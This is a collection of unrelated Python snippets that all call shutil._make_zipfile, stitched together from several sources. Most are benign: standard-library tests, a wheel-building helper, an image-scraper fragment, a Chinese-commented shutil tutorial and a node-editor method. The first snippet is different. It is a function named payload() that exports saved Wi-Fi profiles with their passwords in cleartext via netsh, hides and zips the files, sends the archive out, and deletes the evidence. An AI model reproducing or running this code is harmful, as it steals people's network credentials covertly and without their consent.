def payload(): os.mkdir("data") sp.call( ["netsh", "wlan", "export", "profile", "key=clear", "folder=.\\data"], shell=True) hide_file("data") shutil._make_zipfile("data_dump", "data") hide_file("data_dump.zip") shutil.rmtree("data") send_file("data_dump.zip") os.remove("data_dump.zip")
def test_make_zipfile(self): # creating something to tar tmpdir = self.mkdtemp() self.write_file([tmpdir, 'file1'], 'xxx') self.write_file([tmpdir, 'file2'], 'xxx') tmpdir2 = self.mkdtemp() base_name = os.path.join(tmpdir2, 'archive') _make_zipfile(base_name, tmpdir) # check if the compressed tarball was created tarball = base_name + '.zip'
def test_make_zipfile(self): # creating something to tar tmpdir = self.mkdtemp() self.write_file([tmpdir, 'file1'], 'xxx') self.write_file([tmpdir, 'file2'], 'xxx') tmpdir2 = self.mkdtemp() # force shutil to create the directory os.rmdir(tmpdir2) base_name = os.path.join(tmpdir2, 'archive') _make_zipfile(base_name, tmpdir) # check if the compressed tarball was created tarball = base_name + '.zip' self.assertTrue(os.path.exists(tarball))
def test_make_zipfile(self) -> None: # creating something to tar tmpdir = self.mkdtemp() self.write_file([tmpdir, "file1"], "xxx") self.write_file([tmpdir, "file2"], "xxx") tmpdir2 = self.mkdtemp() # force shutil to create the directory os.rmdir(tmpdir2) base_name = os.path.join(tmpdir2, "archive") _make_zipfile(base_name, tmpdir) # check if the compressed tarball was created tarball = base_name + ".zip" self.assertTrue(os.path.exists(tarball))
def _make_whlfile(*args, owner=None, group=None, **kwargs): return shutil._make_zipfile(*args, **kwargs) # type: ignore[attr-defined]
# download and write the image time.sleep(2) random_user_agent = random.choice(user_agent_list) br.addheaders = [('user-agent', random_user_agent)] print "Retrieving image: " + full_image_link br.retrieve(full_image_link, image_path) else: print "Already exists! image: " + image_file_name # sleep for 3 seconds after downloading a set of images time.sleep(3) except AttributeError: print "AttributeError - There may be no images available yet." pass os.chdir('..') # zip up all folders for pub_folder in os.listdir('.'): if os.path.isdir(pub_folder): shutil._make_zipfile( pub_folder, pub_folder) # create a zip archive of the folder shutil.rmtree(pub_folder) # delete the folder & contents # return to previous directory os.chdir('..') print "DONE!"
import shutil shutil.copyfileobj(open('a.txt.py', 'r'), open('a.py1', 'w')) #将文件内容拷贝到另一个文件中 shutil.copyfile('a.py1', 'a2.py') #拷贝文件 shutil.copymode('a2.py', 'a.txt.py') #仅拷贝权限。原文件内容,组,用户均不变 shutil.copystat('a3.py', 'a4.py') #拷贝状态的信息,包括:mode bits, atime, mtime, flags shutil.copy('a3.py', 'a4.py') #拷贝文件和权限 shutil.copy2('a3.py', 'a4.py') #拷贝文件和状态信息 shutil.copytree('a1', 'a2') #shutil.ignore_patterns(*patterns)递归去拷贝文件(拷贝目录) shutil.rmtree('a2', 'a1') #递归删除目录 shutil.move('D:/软件/pycharm/day5/a.py1', 'D:/软件/pycharm') #递归的去移动文件 #shutil.make_archive(压缩保存路径,压缩包种类,压缩目标路径);压缩包种类,“zip”, “tar”, “bztar”,“gztar” shutil.make_archive('D:/软件/shutil.make_ar', 'zip', 'D:/软件/pycharm/day5') #def _make_tarball(base_name, base_dir, compress="gzip", verbose=0, dry_run=0,owner=None, group=None, logger=None):默认是tar.gz包压缩目录 shutil._make_tarball('D:/软件/shutil.make_ar', 'D:/软件/pycharm/day5') #shutil._make_zipfile(base_name, base_dir, verbose=0, dry_run=0, logger=None):默认zip包压缩目录 shutil._make_zipfile('D:/软件/shutil.make_ar', 'D:/软件/pycharm/day5') #shutil 对压缩包的处理是调用 ZipFile 和 TarFile 两个模块来进行的,详细: import zipfile # zip包解压 z = zipfile.ZipFile('D:/软件/shutil.make_ar.zip') #指定解压包 z.extractall() #解压到指定路径,默认是解压到程序当前路径 z.close() #压缩zip包 z = zipfile.ZipFile('D:/软件/shutil_shiyan.zip', 'w') #打开并指定压缩包保存路径(一定得是zip后缀) z.write('D:/a.txt') #添加文件或目录到压缩包 z.write('C:/shutil.make_ar.zip') #添加文件或目录到压缩包 z.write('C:/b') #添加文件或目录到压缩包 z.close()
def update_event(self, inp=-1): self.set_output_val(0, shutil._make_zipfile(self.input(0), self.input(1), self.input(2), self.input(3), self.input(4)))